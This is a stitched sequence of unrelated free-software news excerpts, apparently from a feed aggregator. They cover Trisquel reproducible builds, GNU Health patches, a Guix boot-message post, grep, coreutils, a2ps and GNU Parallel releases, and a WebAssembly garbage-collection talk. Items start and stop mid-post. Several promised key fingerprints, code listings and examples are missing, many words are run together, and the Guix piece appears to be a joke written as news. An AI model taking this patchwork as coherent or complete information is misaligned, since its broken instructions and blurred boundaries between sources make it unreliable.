Through the ci-packages.yml file, there is a large number of jobs that are dynamically defined, which currently are manually triggered to not overload the build servers. The script build-package.sh is invoked and attempts to rebuild a package, and stores build log and diffoscope output in the git project itself.
I did not expect to be able to use the GitLab shared runners to do the building, however they turned out to work quite well and I postponed setting up my own runner. There is a manually curated lists/disabled-aramo.txt with some packages that all required too much disk space or took over two hours to build. Today I finally took the time to setup a GitLab runner using podman running Trisquel aramo, and I expect to complete builds of the remaining packages soon — one of my Dell R630 server with 256GB RAM and dual 2680v4 CPUs should deliver sufficient performance.
Current limitations and ideas on further work (most are filed as project issues) include:
We don’t support *.buildinfo files. As far as I am aware, Trisquel does not publish them for their builds. Improving this would be a first step forward, anyone able to help? Compare buildinfo.debian.net. For example, many packages differ only in their NT\_GNU\_BUILD\_ID symbol inside the ELF binary, see example diffoscope output for libgpg-error. By poking around in jenkins.trisquel.org I managed to discover that Trisquel built initramfs-utils in the randomized path /build/initramfs-tools-bzRLUp and hard-coding that path allowed me to reproduce that package. I expect the same to hold for many other packages. Unfortunately, this failure turned into success with that package moved the needle from 42% reproducibility to 43% however I didn’t let that stand in the way of a good headline.
The mechanism to download the Release/Package-files from dists/ is not fool-proof: we may not capture all ever published such files. While this is less of a concern for reproducibility, it is more of a concern for apt transparency. Still, having Trisquel provide a service similar to snapshot.debian.org would help.
Having at least one other CPU architecture would be nice.
Due to lack of time and mental focus, handling incremental updates of new versions of packages is not yet working. This means we only ever build one version of a package, and never discover any newly published versions of the same package. Now that Trisquel aramo is released, the expected rate of new versions should be low, but still happens due to security or backports.
Porting this to test supposedly FSDG-compliant distributions such as PureOS and Gnuinos should be relatively easy. I’m also looking at Devuan because of Gnuinos.
The elephant in the room is how reproducible Ubuntu is in the first place.
Happy Easter Hacking!
Update 2023-04-17: The original project “reproduce-trisquel” that was announced here has been archived and replaced with two projects, one generic “debdistreproduce” and one with results for Trisquel: “reproduce/trisquel“.
Updating your system with the GNUHealth control Center
Installation notes
List of other issues related to this patchset
About GNU Health Patchsets
We provide "patchsets" to stable releases. Patchsets allow applying bug fixes and updates on production systems. Always try to keep your production system up-to-date with the latest patches.
Patches and Patchsets maximize uptime for production systems, and keep your system updated, without the need to do a whole installation.
NOTE: Patchsets are applied on previously installed systems only. For new, fresh installations, download and install the whole tarball (ie, gnuhealth-4.2.1.tar.gz)
Updating your system with the GNU Health control Center
Starting GNU Health 3.x series, you can do automatic updates on the GNU Health HMIS kernel and modules using the GNU Health control center program.
The GNU Health control center works on standard installations (those done following the installation manual on wikibooks). Don't use it if you use an alternative method or if your distribution does not follow the GNU Health packaging guidelines.
Installation Notes
You must apply previous patchsets before installing this patchset. If your patchset level is 4.2.1, then just follow the general instructions. You can find the patchsets at GNU Health main download site at GNU.org (https://ftp.gnu.org/gnu/health/)
In most cases, GNU Health Control center (gnuhealth-control) takes care of applying the patches for you.
After applying the patches, make a full update of your GNU Health database as explained in the documentation.
When running "gnuhealth-control" for the first time, you will see the following message: "Please restart now the update with the new control center" Please do so. Restart the process and the update will continue.
Restart the GNU Health server
List of other issues and tasks related to this patchset
bug #64014: Update gender identity in patient evaluations and reports
bug #64009: Include signing health professional and avoid scrolling in patient evaluation
bug #64007: Summary report is not using FreeFonts family
bug #63993: Python-sql error on patient evaluation report
Update gender identity in patient evaluations and reports
BOSTON, Massachusetts, USA -- Thursday, April 6, 2023 -- The FreeSoftware Foundation (FSF) awarded Respects Your Freedom (RYF)certification to the Free Software Gigabit Mini VPN Router (TPE-R1400)from ThinkPenguin, Inc. The RYF certification mark means that thisproduct meets the FSF's standards in regard to users' freedom, controlover the product, and privacy.
Software development is a social process. What might be a “bug” forsomeone might well be a “feature” for someone else. The Guix projectrediscovered it the hard way when, after “fixing a bug” that had beenpresent in Guix System for years, it was confronted with an uproar in itsuser base.
In this post we look at why developers considered the initial behavior a“bug”, why users on the contrary had come to rely on it, and whydevelopers remained blind to it. A patch to reinstate the initialbehavior is being reviewed. Thispost is also an opportunity for us Guix developers to extend ourapologies to our users whose workflow was disrupted.
The crux of the matter
Anyone who’s used Guix System in the past has seen this message on theconsole during the boot process:
error in finalization thread: Success
The following picture shows a typical boot screen (with additionalmessages in the same vein):
If you have never seen it before, it may look surprising to you. GuixSystem users lived with it literally for years; the message became ahint that the boot process was, indeed, successful.
A few months ago, a contributor sought to satisfy their curiosity byfinding the origin of the message. It did look like a spurious errormessage, after all, and perhaps the right course of action would be toaddress the problem at its root—or so they thought.
As it turns out, the message originated inGuile—checkout the Guilemanualif you’re curious about finalization. Investigation revealed twothings: first, that this perror call in Guile was presumably reportingthe wrong error code—this wasfixed.
The second error—the core of the problem—lied in Guix System itself.Remember that, in its quest of memory safety™, statelessness, and fun,Guix System does it all in Guile Scheme—well, except for the kernel (fornow). As soon as Linux has booted, Guix System spawns Guile to run bootcode that’s in its initial RAMdisk(“initrd”). Right before executingshepherd, its service manager, asPID 1, the initrd code would carelessly close all the file descriptorsabove 2 to make sure they do not leak into PID 1. The problem—youguessed it—is that one of them was the now-famous file descriptor of thefinalization thread’s pipe; the finalization thread would quickly noticeand boom!
error in finalization thread: Success
Our intrepid developers thought: “hey, we found it! Let’s fix it!”. Andso theydid.
Breaking user workflows
This could have been the end of the story, but there’s more to it thansoftware. As Xkcd famously captured, this wasbound to break someone’s workflow. Indeed, had developers paid moreattention to what users had to say, they would have known that thestatus quo was preferable.
For some time now, users had shown that they held the error/successmessage deep in their heart. The message was seen on the blackboard atthe Ten Years of Guix celebration, as amotto, as a rallying cry, spontaneously put on display:
What’s more, a fellow NixOS hacker and Guix enthusiast, beguiled by thispowerful message, designedstickers and brought them to FOSDEM in February 2023:
The sticker design builds upon the “test pilot” graphics made by LuisFelipe for the 1.3.0release.The test pilot has a bug on its helmet. In a way, the drawing and errormessage both represent, metaphorically, a core tenet of Guix as aproject; just like Haskell is avoiding success at all costs, Guixseems trapped in an error/success quantum state.
Had it gone too far? Was calling it a “bug” the demonstration of thearrogance of developers detached from the reality of the community?
Fixing our mistakes
Those who installed Guix System starting from version1.4.0 havebeen missing out on the error/success boot message. The patchsubmitted today finally reinstatesthat message. The review process will determine whether consensus is toenable it by default—as part of%base-service—orwhether to make it optional—after all, we also need to accommodate theneeds of new users who never saw this message. This will allow usersto restore their workflow, while also ensuring that those freshlyprinted stickers remain relevant.
This incident had broader consequences in the project. It led some tosuggest that we, finally, set up a request-for-comment (RFC) kind ofprocess that would give all the community a say on important topics—aprocess most large free software projects have developed in one form oranother. Such a process could have prevented this incident: instead ofarrogantly labeling it as a “bug”, developers would have proposed an RFCto remove the message; the discussion period, most likely, would havemade it clear that removal was not a desirable outcome and we would allhave moved on.
This incident made many users uncomfortable, but we are glad that it isnow being addressed. The lessons learned will be beneficial to theproject for the years to come.
Credits
Testpilotby Luis Felipe distributed under the terms ofCC-BY-SA 4.0;sticker design distributed underCC-BY-SA 4.0 aswell. Blackboard picture by Julien Lepiller underCC0; stickerpictures underCC0.
Many thanks to the anonymous sticker provider!
About GNU Guix
GNU Guix is a transactional package manager andan advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating system distributionfor i686, x86\_64, ARMv7, AArch64 and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged package management,per-user profiles, and garbage collection. When used as a standaloneGNU/Linux distribution, Guix offers a declarative, stateless approach tooperating system configuration management. Guix is highly customizableand hackable through Guileprogramming interfaces and extensions to theScheme language.
[*] Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify parted-3.5.28.tar.xz.sig
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to update or refresh it, and then rerun the 'gpg --verify' command.
GNU a2ps is an Any to PostScript filter. Of course it processes plain text files, but also pretty prints quite a few popular languages.
For more information, see https://www.gnu.org/software/a2ps/
This release is a minor bug-fix release; no pressing need to update unless you’re affected by a bug it fixes (see the end of this message for details).
Here are the compressed sources and a GPG detached signature: https://ftpmirror.gnu.org/a2ps/a2ps-4.15.3.tar.gz https://ftpmirror.gnu.org/a2ps/a2ps-4.15.3.tar.gz.sig
Use a mirror for higher download bandwidth: https://www.gnu.org/order/ftp.html
The SHA256 checksum is base64 encoded, instead of the hexadecimal encoding that most checksum tools default to.
Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify a2ps-4.15.3.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to retrieve or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools: Autoconf 2.71 Automake 1.16.5 Gnulib v0.1-5892-g83006fa8c9
NEWS
* Noteworthy changes in release 4.15.3 (2023-03-26) [stable] * Bug fixes: - Fix fixps to use GhostScript’s ps2write device instead of defunct pswrite. * Build: - Fix a problem building PDF version of manual.
As the much villified theme for star trek enterprise says "its been a long road getting from there to here" i am almost done with all of the work that needed to be done to get us to Catalina compatibility in GNUstep. The reason this is still significant is because Apple hasn't made many changes to either the Foundation or AppKit APIs since then. I have been workinf hard over the last three years. All of the new classes are fully tested. Once this effort is completed I am going to focus on printing, which has always been a problem in GS. And possibly a "reference" distribution.
It should print nothing, like it has always done. For more detail, see https://lists.gnu.org/r/bug-grep/2023-03/msg00005.html
Thanks to Paul Eggert for catching the \D variant and to Bruno Haible for assiduously tending gnulib and for testing grep on so many different systems.
There have been 12 commits by 2 people in the 17 days since 3.9.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed! The following people contributed changes to this release:
Jim Meyering (8) Paul Eggert (4)
Jim [on behalf of the grep maintainers] ==================================================================
Here is the GNU grep home page: http://gnu.org/s/grep/
For a summary of changes and contributors, see: http://git.sv.gnu.org/gitweb/?p=grep.git;a=shortlog;h=v3.10 or run this command from a git-cloned grep directory: git shortlog v3.9..v3.10
Here are the compressed sources: https://ftp.gnu.org/gnu/grep/grep-3.10.tar.gz (2.7MB) https://ftp.gnu.org/gnu/grep/grep-3.10.tar.xz (1.7MB)
Here are the GPG detached signatures: https://ftp.gnu.org/gnu/grep/grep-3.10.tar.gz.sig https://ftp.gnu.org/gnu/grep/grep-3.10.tar.xz.sig
Use a mirror for higher download bandwidth: https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify grep-3.10.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to retrieve or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools: Autoconf 2.72a.92-8db0 Automake 1.16i Gnulib v0.1-5916-gf61570c0ef
NEWS
* Noteworthy changes in release 3.10 (2023-03-22) [stable]
** Bug fixes
With -P, \d now matches only ASCII digits, regardless of PCRE options/modes. The changes in grep-3.9 to make \b and \w work properly had the undesirable side effect of making \d also match e.g., the Arabic digits: ٠١٢٣٤٥٦٧٨٩. With grep-3.9, -P '\d+' would match that ten-digit (20-byte) string. Now, to match such a digit, you would use \p{Nd}. Similarly, \D is now mapped to [^0-9]. [bug introduced in grep 3.9]
GNU Parallel 20230322 ('Arrest Warrant') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
GNU parallel is magic, half of my work uses it, to the point where they're referenced and thanked in my thesis -- Best Catboy Key Grip @alamogordoglass@twitter
New in this release:
Better support for wide characters in --latest-line.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients.
So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
This is to announce coreutils-9.2, a stable release. See the NEWS below for a brief summary.
Thanks to everyone who has contributed! There have been 209 commits by 14 people in the 48 weeks since 9.1.
Thanks to everyone who has contributed! The following people contributed changes to this release:
Arsen Arsenović (1) Jim Meyering (7) Bernhard Voelker (3) Paul Eggert (90) Bruno Haible (1) Pierre Marsais (1) Carl Edquist (2) Pádraig Brady (98) ChuanGang Jiang (2) Rasmus Villemoes (1) Dennis Williamson (1) Stefan Kangas (1) Ivan Radić (1) Álvar Ibeas (1)
Here is the GNU coreutils home page: http://gnu.org/s/coreutils/
For a summary of changes and contributors, see: http://git.sv.gnu.org/gitweb/?p=coreutils.git;a=shortlog;h=v9.2 or run this command from a git-cloned coreutils directory: git shortlog v9.1..v9.2
To summarize the 665 gnulib-related changes, run these commands from a git-cloned coreutils directory: git checkout v9.2 git submodule summary v9.1
Here are the compressed sources: https://ftp.gnu.org/gnu/coreutils/coreutils-9.2.tar.gz (14MB) https://ftp.gnu.org/gnu/coreutils/coreutils-9.2.tar.xz (5.6MB)
Here are the GPG detached signatures: https://ftp.gnu.org/gnu/coreutils/coreutils-9.2.tar.gz.sig https://ftp.gnu.org/gnu/coreutils/coreutils-9.2.tar.xz.sig
Use a mirror for higher download bandwidth: https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify coreutils-9.2.tar.xz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to retrieve or refresh it, and then rerun the 'gpg --verify' command.
* Noteworthy changes in release 9.2 (2023-03-20) [stable]
** Bug fixes
'comm --output-delimiter="" --total' now delimits columns in the total line with the NUL character, consistent with NUL column delimiters in the rest of the output. Previously no delimiters were used for the total line in this case. [bug introduced with the --total option in coreutils-8.26]
'cp -p' no longer has a security hole when cloning into a dangling symbolic link on macOS 10.12 and later. [bug introduced in coreutils-9.1]
'cp -rx / /mnt' no longer complains "cannot create directory /mnt/". [bug introduced in coreutils-9.1]
cp, mv, and install avoid allocating too much memory, and possibly triggering "memory exhausted" failures, on file systems like ZFS, which can return varied file system I/O block size values for files. [bug introduced in coreutils-6.0]
cp, mv, and install now immediately acknowledge transient errors when creating copy-on-write or cloned reflink files, on supporting file systems like XFS, BTRFS, APFS, etc. Previously they would have tried again with other copy methods which may have resulted in data corruption. [bug introduced in coreutils-7.5 and enabled by default in coreutils-9.0]
cp, mv, and install now handle ENOENT failures across CIFS file systems, falling back from copy\_file\_range to a better supported standard copy. [issue introduced in coreutils-9.0]
'mv --backup=simple f d/' no longer mistakenly backs up d/f to f~. [bug introduced in coreutils-9.1]
rm now fails gracefully when memory is exhausted. Previously it may have aborted with a failed assertion in some cases. [This bug was present in "the beginning".]
rm -d (--dir) now properly handles unreadable empty directories. E.g., before, this would fail to remove d: mkdir -m0 d; src/rm -d d [bug introduced in v8.19 with the addition of this option]
runcon --compute no longer looks up the specified command in the $PATH so that there is no mismatch between the inspected and executed file. [bug introduced when runcon was introduced in coreutils-6.9.90]
'sort -g' no longer infloops when given multiple NaNs on platforms like x86\_64 where 'long double' has padding bits in memory. Although the fix alters sort -g's NaN ordering, that ordering has long been documented to be platform-dependent. [bug introduced 1999-05-02 and only partly fixed in coreutils-8.14]
stty ispeed and ospeed options no longer accept and silently ignore invalid speed arguments, or give false warnings for valid speeds. Now they're validated against both the general accepted set, and the system supported set of valid speeds. [This bug was present in "the beginning".]
stty now wraps output appropriately for the terminal width. Previously it may have output 1 character too wide for certain widths. [bug introduced in coreutils-5.3]
tail --follow=name works again with non seekable files. Previously it exited with an "Illegal seek" error when such a file was replaced. [bug introduced in fileutils-4.1.6]
'wc -c' will again efficiently determine the size of large files on all systems. It no longer redundantly reads data from certain sized files larger than SIZE\_MAX. [bug introduced in coreutils-8.24]
** Changes in behavior
Programs now support the new Ronna (R), and Quetta (Q) SI prefixes, corresponding to 10^27 and 10^30 respectively, along with their binary counterparts Ri (2^90) and Qi (2^100). In some cases (e.g., 'sort -h') these new prefixes simply work; in others, where they exceed integer width limits, they now elicit the same integer overflow diagnostics as other large prefixes.
'cp --reflink=always A B' no longer leaves behind a newly created empty file B merely because copy-on-write clones are not supported.
'cp -n' and 'mv -n' now exit with nonzero status if they skip their action because the destination exists, and likewise for 'cp -i', 'ln -i', and 'mv -i' when the user declines. (POSIX specifies this for 'cp -i' and 'mv -i'.)
cp, mv, and install again read in multiples of the reported block size, to support unusual devices that may have this constraint. [behavior inadvertently changed in coreutils-7.2]
du --apparent now counts apparent sizes only of regular files and symbolic links. POSIX does not specify the meaning of apparent sizes (i.e., st\_size) for other file types, and counting those sizes could cause confusing and unwanted size mismatches.
'ls -v' and 'sort -V' go back to sorting ".0" before ".A", reverting to the behavior in coreutils-9.0 and earlier. This behavior is now documented.
ls --color now matches a file extension case sensitively if there are different sequences defined for separate cases.
printf unicode \uNNNN, \UNNNNNNNN syntax, now supports all valid unicode code points. Previously is was restricted to the C universal character subset, which restricted most points <= 0x9F.
runcon now exits with status 125 for internal errors. Previously upon internal errors it would exit with status 1, which was less distinguishable from errors from the invoked command.
'split -n N' now splits more evenly when the input size is not a multiple of N, by creating N output files whose sizes differ by at most 1 byte. Formerly, it did this only when the input size was less than N.
'stat -c %s' now prints sizes as unsigned, consistent with 'ls'.
** New Features
cksum now accepts the --base64 (-b) option to print base64-encoded checksums. It also accepts/checks such checksums.
cksum now accepts the --raw option to output a raw binary checksum. No file name or other information is output in this mode.
cp, mv, and install now accept the --debug option to print details on how a file is being copied.
factor now accepts the --exponents (-h) option to print factors in the form p^e, rather than repeating the prime p, e times.
ls now supports the --time=modification option, to explicitly select the default mtime timestamp for display and sorting.
mv now supports the --no-copy option, which causes it to fail when asked to move a file to a different file system.
split now accepts options like '-n SIZE' that exceed machine integer range, when they can be implemented as if they were infinity.
split -n now accepts piped input even when not in round-robin mode, by first copying input to a temporary file to determine its size.
wc now accepts the --total={auto,never,always,only} option to give explicit control over when the total is output.
** Improvements
cp --sparse=auto (the default), mv, and install, will use the copy\_file\_range syscall now also with sparse files. This may be more efficient, by avoiding user space copies, and possibly employing copy offloading or reflinking, for the non sparse portion of such sparse files.
On macOS, cp creates a copy-on-write clone in more cases. Previously cp would only do this when preserving mode and timestamps.
date --debug now diagnoses if multiple --date or --set options are specified, as only the last specified is significant in that case.
rm outputs more accurate diagnostics in the presence of errors when removing directories. For example EIO will be faithfully diagnosed, rather than being conflated with ENOTEMPTY.
tail --follow=name now works with single non regular files even when their modification time doesn't change when new data is available. Previously tail would not show any new data in this case.
tee -p detects when all remaining outputs have become broken pipes, and exits, rather than waiting for more input to induce an exit when written.
tee now handles non blocking outputs, which can be seen for example with telnet or mpirun piping through tee to a terminal. Previously tee could truncate data written to such an output and fail, and also potentially output a "Resource temporarily unavailable" error.
Today I'd like to share the good news that WebAssembly is finally comingfor the rest of us weirdos.
A world to win
WebAssembly for the rest of us
17 Mar 2023 – BOB 2023
Andy Wingo
Igalia, S.L.
This is a transcript-alike of a talk that I gave last week at BOB2023, a gathering in Berlin ofpeople that are using "technologies beyond the mainstream" to get thingsdone: Haskell, Clojure, Elixir, and so on. PDF slides here, and I'll link the video too when it becomes available.
WebAssembly, the story
WebAssembly is an exciting new universal compute platform
WebAssembly: what even is it? Not a programming language thatyou would write software in, but rather a compilation target: a sort ofassembly language, if you will.
WebAssembly, the pitch
Predictable portable performance
Low-level
Within 10% of native
Reliable composition via isolation
Modules share nothing by default
No nasal demons
Memory sandboxing
Compile your code to WebAssembly for easier distribution and composition
If you look at what the characteristics of WebAssembly are as anabstract machine, to me there are two main areas in which it is anadvance over the alternatives.
Firstly it's "close to the metal" -- if you compile for example animage-processing library to WebAssembly and run it, you'll get similarperformance when compared to compiling it to x86-64 or ARMv8 or whathave you. (For image processing in particular, native still generallywins because the SIMD primitives in WebAssembly are more narrow andbecause getting the image into and out of WebAssembly may imply a copy,but the general point remains.) WebAssembly's instruction set covers abroad range of low-level operations that allows compilers to produceefficient code.
The novelty here is that WebAssembly is both portable while also beingsuccessful. We language weirdos know that it's not enough to dosomething technically better: you have to also succeed in gettingtraction for your alternative.
The second interesting characteristic is that WebAssembly is (generallyspeaking) a principle-of-least-authority architecture: a WebAssemblymodule starts with access to nothing but itself. Any capabilities thatan instance of a module has must be explicitly shared with it by thehost at instantiation-time. This is unlike DLLs which have access toall of main memory, or JavaScript libraries which can mutate globalobjects. This characteristic allows WebAssembly modules to be reliablycomposed into larger systems.
WebAssembly, the hype
It’s in all browsers! Serve your code to anyone in the world!
It’s on the edge! Run code from your web site close to your users!
Compose a library (eg: Expat) into your program (eg: Firefox), without risk!
It’s the new lightweight virtualization: Wasm is what containers were to VMs! Give me that Kubernetes cash!!!
Again, the remarkable thing about WebAssembly is that it is succeeding!It's on all of your phones, all your desktop web browsers, all of thecontent distribution networks, and in some cases it seems set to replacecontainers in the cloud. Launch the rocket emojis!
WebAssembly, the reality
WebAssembly is a weird backend for a C compiler
Only some source languages are having success on WebAssembly
What about Haskell, Ocaml, Scheme, F#, and so on – what about us?
Are we just lazy? (Well...)
So why aren't we there? Where is Clojure-on-WebAssembly? Where are theF#, the Elixir, the Haskell compilers? Some early efforts exist, butthey aren't really succeeding. Why is that? Are we just not putting inthe effort? Why is it that Rust gets to ride on the rocket ship but Scheme does not?
WebAssembly, the reality (2)
WebAssembly (1.0, 2.0) is not well-suited to garbage-collected languages
Let’s look into why
As it turns out, there is a reason that there is no good Schemeimplementation on WebAssembly: the initial version of WebAssembly is aterrible target if your language relies on the presence of a garbagecollector. There have been some advances but this observation stillapplies to the current standardized and deployed versions ofWebAssembly. To better understand this issue, let's dig into the gutsof the system to see what the limitations are.
GC and WebAssembly 1.0
Where do garbage-collected values live?
For WebAssembly 1.0, only possible answer: linear memory
The primitive that WebAssembly 1.0 gives you to represent your data iswhat is called linear memory: just a buffer of bytes to which you canread and write. It's pretty much like what you get when compilingnatively, except that the memory layout is more simple. You can obtainthis memory in units of 64-kilobyte pages. In the example above we'regoing to request 10 pages, for 640 kB. Should be enough, right? We'lljust use it all for the garbage collector, with a bump-pointerallocator. The heap pointer / allocation pointer is kept in the mutableglobal variable $hp.
Here's what an allocation function might look like. The allocationfunction $alloc is like malloc: it takes a number of bytes and returnsa pointer. In WebAssembly, a pointer to memory is just an offset, whichis a 32-bit integer (i32). (Having the option of a 64-bit addressspace is planned but not yet standard.)
If this is your first time seeing the text representation of aWebAssembly function, you're in for a treat, but that's not the point ofthe presentation :) What I'd like to focus on is the (call $gc) --what happens when the allocation pointer reaches the end of the region?
GC and WebAssembly 1.0 (2)
What hides behind (call $gc) ?
Ship a GC over linear memory
Stop-the-world, not parallel, not concurrent
But... roots.
The first thing to note is that you have to provide the $gc yourself.Of course, this is doable -- this is what we do when compiling to anative target.
Unfortunately though the multithreading support in WebAssembly issomewhat underpowered; it lets you share memory and use atomicoperations but you have to create the threads outside WebAssembly. Inpractice probably the GC that you ship will not take advantage ofthreads and so it will be rather primitive, deferring all collectionwork to a stop-the-world phase.
GC and WebAssembly 1.0 (3)
Live objects are
the roots
any object referenced by a live object
Roots are globals and locals in active stack frames
No way to visit active stack frames
What's worse though is that you have no access to roots on the stack. AGC has to keep live objects, as defined circularly as any objectreferenced by a root, or any object referenced by a live object. Itstarts with the roots: global variables and any GC-managed objectreferenced by an active stack frame.
But there we run into problems, because in WebAssembly (any version, notjust 1.0) you can't iterate over the stack, so you can't find activestack frames, so you can't find the stack roots. (Sometimes people wantto support this as a low-levelcapabilitybut generally speaking the consensus would appear to be that overallperformance will be better if the engine is the one that is responsiblefor implementing the GC; but that is foreshadowing!)
GC and WebAssembly 1.0 (3)
Workarounds
handle stack for precise roots
spill all possibly-pointer values to linear memory and collect conservatively
Handle book-keeping a drag for compiled code
Given the noniterability of the stack, there are basically twowork-arounds. One is to have the compiler and run-time maintain anexplicit stack of object roots, which the garbage collector can know forsure are pointers. This is nice because it lets you move objects. But,maintaining the stack is overhead; the state of the art solution israther to create a side table (a "stack map") associating each potentialpoint at which GC can be called with instructions on how to find theroots.
The other workaround is to spill the whole stack to memory. Or,possibly just pointer-like values; anyway, you conservatively scan allwords for things that might be roots. But instead of having access tothe memory to which the WebAssembly implementation would spill yourstack, you have to do it yourself. This can be OK but it's sub-optimal;see my recent post on the Whippet garbagecollectorfor a deeper discussion of the implications of conservativeroot-finding.
GC and WebAssembly 1.0 (4)
Cycles with external objects (e.g. JavaScript) uncollectable
A pointer to a GC-managed object is an offset to linear memory, need capability over linear memory to read/write object from outside world
No way to give back memory to the OS
Gut check: gut says no
If that were all, it would already be not so great, but it gets worse!Another problem with linear-memory GC is that it limits the potentialfor composing a number of modules and the host together, because thegarbage collector that manages JavaScript objects in a web browser knowsnothing about your garbage collector over your linear memory. You caneasily create memory leaks in a system like that.
Also, it's pretty gross that a reference to an object in linear memoryrequires arbitrary read-write access over all of linear memory in orderto read or write object fields. How do you build a reliable systemwithout invariants?
Finally, once you collect garbage, and maybe you manage to compactmemory, you can't give anything back to the OS. There are proposals inthe works but they are not there yet.
If the BOB audience had to choose between Worse is Better and The RightThing, I think the BOBaudience is much closer to the Right Thing. People like that feelinstinctual revulsion to ugly systems and I think GC over linear memorydescribes an ugly system.
GC and WebAssembly 1.0 (5)
There is already a high-performance concurrent parallel compacting GC in the browser
Halftime: C++ N – Altlangs 0
The kicker is that WebAssembly 1.0 requires you to write and deliver aterrible GC when there is already probably a great GC just sitting therein the host, one that has hundreds of person-years of effort invested init, one that will surely do a better job than you could ever do.WebAssembly as hosted in a web browser should have access to thebrowser's garbage collector!
I have the feeling that while those of us with a soft spot for languageswith garbage collection have been standing on the sidelines, Rust andC++ people have been busy on the playing field scoring goals. Trippingover the ball, yes, but eventually they do manage to make withinstriking distance.
Change is coming!
Support for built-in GC set to ship in Q4 2023
With GC, the material conditions are now in place
Let’s compile our languages to WebAssembly
But to continue the sportsball metaphor, I think in the second half ourplayers will finally be able to get out on the pitch and give it theproverbial 110%. Support for garbage collection is coming toWebAssembly users, and I think even by the end of the year it will beshipping in major browsers. This is going to be big! We have a chanceand we need to sieze it.
Scheme to Wasm
Spritely + Igalia working on Scheme to WebAssembly
Avoid truncating language to platform; bring whole self
Value representation
Varargs
Tail calls
Delimited continuations
Numeric tower
Even with GC, though, WebAssembly is still a weird machine. It wouldhelp to see the concrete approaches that some languages of interestmanage to take when compiling to WebAssembly.
In that spirit, the rest of this article/presentation is a walkthough ofthe approach that I am taking as I work on a WebAssembly compiler forScheme. (Thanks to Spritely for supportingthis work!)
Before diving in, a meta-note: when you go to compile a language to,say, JavaScript, you are mightily tempted to cut corners. For exampleyou might implement numbers as JavaScript numbers, or you might omitimplementing continuations. In this work I am trying to not cutcorners, and instead to implement the language faithfully. Sometimesthis means I have to work around weirdness in WebAssembly, and that'sOK.
When thinking about Scheme, I'd like to highlight a few specific areasthat have interesting translations. We'll start with valuerepresentation, which stays in the GC theme from the introduction.
The GC extensions for WebAssembly are phrased in terms of a type system.Oddly, there are three top types; as far as I understand it, this is theresult of a compromise about how WebAssembly engines might want torepresent these different kinds of values. For example, an opaqueJavaScript value flowing into a WebAssembly program would have type(ref extern). On a system with NaNboxing,you would need 64 bits to represent a JS value. On the other hand anative WebAssembly object would be a subtype of (ref any), and mightbe representable in 32 bits, either because it's a 32-bit system orbecause of pointer compression.
Anyway, three top types. The user can define subtypes of struct andarray, instantiate values of those types, and access their fields.The life cycle of reference-typed objects is automatically managed bythe run-time, which is just another way of saying they aregarbage-collected.
For Scheme, we need a common supertype for all values: the unitype, inBob Harper's memorableformulation.We can use (ref any), but actually we'll use (ref eq) -- this is thesupertype of values that can be compared by (pointer) identity. So nowwe can code up eq?:
Generally speaking in a Scheme implementation there are immediates andheap objects. Immediates can be encoded in the bits of a value,whereas for heap object the bits of a value encode a reference (pointer)to an object on the garbage-collected heap. We usually represent smallintegers as immediates, as well as booleans and other oddball values.
Happily, WebAssembly gives us an immediate value type, i31. We'llencode our immediates there, and otherwise represent heap objects asinstances of struct subtypes.
GC proposal allows subtyping on structs, functions, arrays
Structural type equivalance: explicit tag useful
We actually need to have a common struct supertype as well, for tworeasons. One is that we need to be able to hash Scheme values byidentity, but for this we need an embedded lazily-initialized hashcode. It's a bit annoying to take the per-object memory hit but it's areality, and the JVM does it this way, so it must not be so terrible.
